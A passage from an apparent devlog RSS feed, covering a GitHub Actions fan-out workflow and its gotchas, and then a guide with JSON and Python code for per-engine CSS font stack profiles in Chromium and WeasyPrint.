&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Both are current on the second pass, and &lt;code&gt;site&lt;/code&gt; still reports &lt;code&gt;wrote-by 0.2.0&lt;/code&gt;. That’s rule one behaving correctly rather than a bug: its content never changed, so its marker was never rewritten, and a marker that lags reality is not itself a reason to touch a file.&lt;/p&gt;
&lt;h2&gt;Wire it to the release&lt;/h2&gt;
&lt;p&gt;The fan-out belongs on the release, plus a schedule as a safety net for consumers whose pull requests were closed unmerged.&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;name: propagate&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;on:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  workflow_call:        # called by the release job, in the same run&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  schedule:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    - cron: &quot;0 13 * * 1&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  workflow_dispatch:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;jobs:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  fan-out:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    runs-on: ubuntu-latest&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    steps:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      - uses: actions/checkout@v4&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      - run: node propagate.mjs --dry-run&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note what is &lt;em&gt;not&lt;/em&gt; there: a &lt;code&gt;push: tags:&lt;/code&gt; trigger. That is the subject of the first gotcha, and it is the one that cost a whole release.&lt;/p&gt;
&lt;h2&gt;Gotchas&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;A tag pushed by your own release workflow starts nothing.&lt;/strong&gt; The natural trigger for a fan-out is the release tag, so &lt;code&gt;on: push: tags: [&amp;quot;v*&amp;quot;]&lt;/code&gt; is what you write. GitHub’s docs are explicit that this cannot work when the tag comes from CI: “When you use the repository’s &lt;code&gt;GITHUB_TOKEN&lt;/code&gt; to perform tasks, events triggered by the &lt;code&gt;GITHUB_TOKEN&lt;/code&gt; will not create a new workflow run”, with only &lt;code&gt;workflow_dispatch&lt;/code&gt; and &lt;code&gt;repository_dispatch&lt;/code&gt; exempted. Symptom: the trigger reads correctly, the release publishes, and the fan-out runs exactly zero times with no error anywhere, because a workflow that never started has no failed run to look at. press shipped this in 0.4.0 and confirmed it on that release, which tagged and published with no propagate run at all. The escape is either to call the workflow from the release job in the same run, as the &lt;code&gt;workflow_call&lt;/code&gt; above does, or to use &lt;a href=&quot;https://docs.github.com/actions/using-workflows/triggering-a-workflow&quot;&gt;a GitHub App installation token or a personal access token&lt;/a&gt;, which the same docs recommend for exactly this.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Deriving a boolean from a human-readable status string.&lt;/strong&gt; It is tempting to compute the status once and infer everything else from it. press wrote &lt;code&gt;/updated$/&lt;/code&gt; against a status that could read &lt;code&gt;&amp;quot;updated&amp;quot;&lt;/code&gt; or &lt;code&gt;&amp;quot;would update&amp;quot;&lt;/code&gt;, and the two differ by more than tense:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;true  &quot;updated&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;false &quot;would update&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Symptom: &lt;code&gt;--dry-run&lt;/code&gt; printed a changed region on one line and “nothing to do” on the next, which reads as a display bug rather than the state error it is. The escape is to carry &lt;code&gt;changed&lt;/code&gt; as a boolean from the one place that actually compared the bytes, and let the display string derive from it rather than the reverse.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Open the pull request against the branch the consumer integrates on.&lt;/strong&gt; The default branch is the obvious target and is frequently wrong. Every consumer here runs &lt;code&gt;feature → dev → main&lt;/code&gt;, so a PR opened straight into &lt;code&gt;main&lt;/code&gt; violates the flow it is supposed to respect. Worse, the default branch can legitimately lag: press’s first real fan-out reported two consumers as &lt;em&gt;missing a region entirely&lt;/em&gt;, only because their migration was still sitting on &lt;code&gt;dev&lt;/code&gt;. A shallow clone makes this invisible, since &lt;code&gt;--depth=1&lt;/code&gt; cannot see other branches at all. The escape is to check out the integration branch when the remote has one, fall back to the default branch otherwise, and clone deep enough to look.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A bot that opens pull requests has to close its own.&lt;/strong&gt; Each release opening a fresh PR per consumer sounds harmless until one repo goes two releases without merging. Symptom: stacked pull requests, where the older ones fail by construction, since an older PR’s pin predates the targets the newer release declares, so its check is being asked about regions that did not exist when it was written. The reviewer sees red on a bot PR and stops trusting bot PRs. The escape is to make opening a new one close any older one it supersedes, with a comment saying what replaced it.&lt;/p&gt;
&lt;h2&gt;Sources&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.github.com/actions/using-workflows/triggering-a-workflow&quot;&gt;GitHub Docs: Triggering a workflow&lt;/a&gt; — events created with &lt;code&gt;GITHUB_TOKEN&lt;/code&gt; do not start new workflow runs, and what to use instead&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.github.com/en/code-security/concepts/supply-chain-security/dependabot-version-updates&quot;&gt;GitHub Docs: Dependabot version updates&lt;/a&gt; — the pull-request-per-outdated-dependency model this inverts&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/ossf/scorecard/blob/main/docs/checks.md&quot;&gt;OpenSSF Scorecard checks: Pinned-Dependencies&lt;/a&gt; — why pinning is right, and the update problem it creates in exchange&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Changelog&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;feat(press): push brand updates to every consumer (0.4.0) (#121) (&lt;a href=&quot;https://github.com/natejswenson/claude-skills/commit/03af5ef797bb8a9c73b07f347097c03f6a640773&quot;&gt;03af5ef&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><enclosure url="https://natejswenson.com/devlog/press/v0.4.0.png" length="24052" type="image/png"/></item><item><title>One font stack cannot serve two rendering engines</title><link>https://natejswenson.com/devlog/press/v0.3.0/</link><guid isPermaLink="true">https://natejswenson.com/devlog/press/v0.3.0/</guid><description>A font-family list that resolves perfectly in Chromium can silently pick a different face in a PDF renderer, because one engine never reaches the fallbacks and the other walks them for real. Predict which face wins, then measure the file.</description><pubDate>Fri, 31 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Shipped&lt;/h2&gt;
&lt;p&gt;press 0.3.0 split the brand’s font stacks into per-engine profiles. Migrating a consumer that renders through WeasyPrint measured a regression the previous single-stack model would have shipped: the browser-tuned chain put &lt;code&gt;Inter&lt;/code&gt; and &lt;code&gt;&apos;Helvetica Neue&apos;&lt;/code&gt; ahead of &lt;code&gt;Arial&lt;/code&gt;, and headlines came out as Helvetica Neue Heavy Condensed, a visibly narrower face on every page. That was measured with &lt;code&gt;pdffonts&lt;/code&gt;, not assumed. Under a &lt;code&gt;fontconfig&lt;/code&gt; profile the same document renders &lt;code&gt;Arial-Bold&lt;/code&gt;, &lt;code&gt;Georgia-Bold&lt;/code&gt; and &lt;code&gt;Menlo-Bold&lt;/code&gt;, exactly as it always had.&lt;/p&gt;
&lt;p&gt;The general problem is worth more than the fix. A &lt;code&gt;font-family&lt;/code&gt; list is not a portable declaration. It’s a set of instructions to one specific font-matching implementation, and the two implementations you’re most likely to ship through disagree about almost every entry in a typical stack. This guide builds the two tools that make that visible: one that predicts which face will win before you render, and one that tells you which face actually did.&lt;/p&gt;
&lt;h2&gt;Why the same CSS resolves differently&lt;/h2&gt;
&lt;p&gt;Chromium resolves &lt;code&gt;-apple-system&lt;/code&gt; to the platform UI font and stops. Everything after it in your stack is depth for other platforms, and on macOS it is never consulted at all. That’s why browser-tuned stacks get long: extra entries are free, so you keep adding them.&lt;/p&gt;
&lt;p&gt;A PDF renderer does not work that way. WeasyPrint’s own documentation is direct about it: “Pango always uses Fontconfig to access fonts, even on Windows and macOS,” and the &lt;a href=&quot;https://doc.courtbouillon.org/weasyprint/stable/features.html&quot;&gt;features page&lt;/a&gt; lists a conforming CSS font matching algorithm as &lt;em&gt;not supported&lt;/em&gt;, noting that “Currently &lt;code&gt;font-family&lt;/code&gt; is passed as-is to Pango.” So the browser-only keywords resolve to nothing, get skipped, and the first family that actually exists on the machine wins. In a long browser-tuned stack, that is rarely the one you meant.&lt;/p&gt;
&lt;p&gt;The standard spelling for the platform UI font is &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/font-family&quot;&gt;&lt;code&gt;system-ui&lt;/code&gt; and the &lt;code&gt;ui-serif&lt;/code&gt; / &lt;code&gt;ui-monospace&lt;/code&gt; family&lt;/a&gt;; &lt;code&gt;-apple-system&lt;/code&gt; and &lt;code&gt;BlinkMacSystemFont&lt;/code&gt; are older vendor keywords that predate it and are still what most real stacks carry. Neither spelling means anything to Fontconfig.&lt;/p&gt;
&lt;p&gt;To follow along you need Fontconfig (&lt;code&gt;fc-list&lt;/code&gt;), WeasyPrint, and poppler (&lt;code&gt;pdffonts&lt;/code&gt;). On macOS that’s &lt;code&gt;brew install fontconfig poppler&lt;/code&gt; plus &lt;code&gt;pip install weasyprint&lt;/code&gt;. If importing WeasyPrint then fails with &lt;code&gt;cannot load library &apos;libgobject-2.0-0&apos;&lt;/code&gt;, it can’t see the Homebrew libraries, and &lt;code&gt;DYLD_FALLBACK_LIBRARY_PATH=/opt/homebrew/lib&lt;/code&gt; is the fix. Pass it on the command itself, as in &lt;code&gt;env DYLD_FALLBACK_LIBRARY_PATH=/opt/homebrew/lib python3 render.py …&lt;/code&gt;, rather than exporting it from your shell: System Integrity Protection strips &lt;code&gt;DYLD_*&lt;/code&gt; variables whenever a protected binary such as &lt;code&gt;/bin/bash&lt;/code&gt; is executed, so an export silently fails to reach any script you launch.&lt;/p&gt;
&lt;h2&gt;Declare the profiles&lt;/h2&gt;
&lt;p&gt;The brand’s type &lt;em&gt;intent&lt;/em&gt; is one thing: a system sans for structure. The chain that achieves that intent is a property of the engine, so it belongs in the data, not in each consumer’s head. Save this as &lt;code&gt;fonts.json&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;  &quot;default_profile&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;browser&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;  &quot;profiles&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;    &quot;browser&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;      &quot;note&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;Chromium/WebKit. -apple-system wins on macOS and the rest is depth for other platforms, so a long chain costs nothing.&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;      &quot;display_stack&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;-apple-system, BlinkMacSystemFont, &apos;Segoe UI&apos;, Inter, Roboto, &apos;Helvetica Neue&apos;, Arial, sans-serif&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;    &quot;fontconfig&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;      &quot;note&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;WeasyPrint and anything else going through Pango. The chain is walked for real, so every extra face is one that can win. Deliberately shallower.&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;      &quot;display_stack&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;-apple-system, BlinkMacSystemFont, &apos;Segoe UI&apos;, Arial, sans-serif&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The loader has one rule worth stating out loud. Save it as &lt;code&gt;profiles.py&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;#!/usr/bin/env python3&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&quot;&quot;The brand&apos;s type intent is one thing; the chain that achieves it is per-engine.&quot;&quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; json&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; sys&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; pathlib &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; Path&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; UnknownProfile&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;Exception&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    pass&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; load_profile&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(name&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;None, path&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;fonts.json&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    raw &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; json.loads(Path(path).read_text())&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    key &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; name &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;or&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; raw[&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;default_profile&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    profile &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; raw[&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;profiles&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;].get(key)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; profile &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;is&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; None:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;        # NEVER fall back to the default here. A target that asked for&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;        # `fontconfig` and quietly got the browser chain is the exact bug this&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;        # mechanism exists to prevent, and it would render wrong in silence.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;        known &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;, &quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;.join(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;sorted&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(raw[&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;profiles&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;]))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;        raise&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; UnknownProfile(&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;unknown font profile &quot;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;key&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot; (known: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;known&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;)&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; profile&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; __name__ &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;__main__&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    name &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; sys.argv[&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; len&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(sys.argv) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; else&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; None&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    try&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;        print&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(load_profile(name)[&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;display_stack&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;])&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    except&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; UnknownProfile &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;as&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; err:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;        print&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;error: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;err&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, file&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;sys.stderr)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;        raise&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; SystemExit&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;An unknown profile name raises instead of defaulting. A consumer that asked for the PDF chain and quietly received the browser one renders wrong and reports nothing, which is the failure this whole mechanism exists to prevent.&lt;/p&gt;
&lt;h2&gt;Predict which face will win&lt;/h2&gt;
&lt;p&gt;Before rendering anything, walk the stack the way the engine will. Save this as &lt;code&gt;audit.py&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;#!/usr/bin/env python3&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&quot;&quot;Which family in a CSS font stack will a fontconfig engine actually pick?&quot;&quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; subprocess&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; sys&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;# Keywords a browser resolves to a real face but fontconfig has never heard of.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;# They are not &quot;missing fonts&quot; you can install; they are engine features.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;BROWSER_ONLY &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &quot;-apple-system&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;blinkmacsystemfont&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;-webkit-system-font&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;# CSS generic families. A stack that reaches one of these is fine by definition,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;# so they end the walk rather than counting as absent.&lt;/span&gt;&lt;/span&gt;
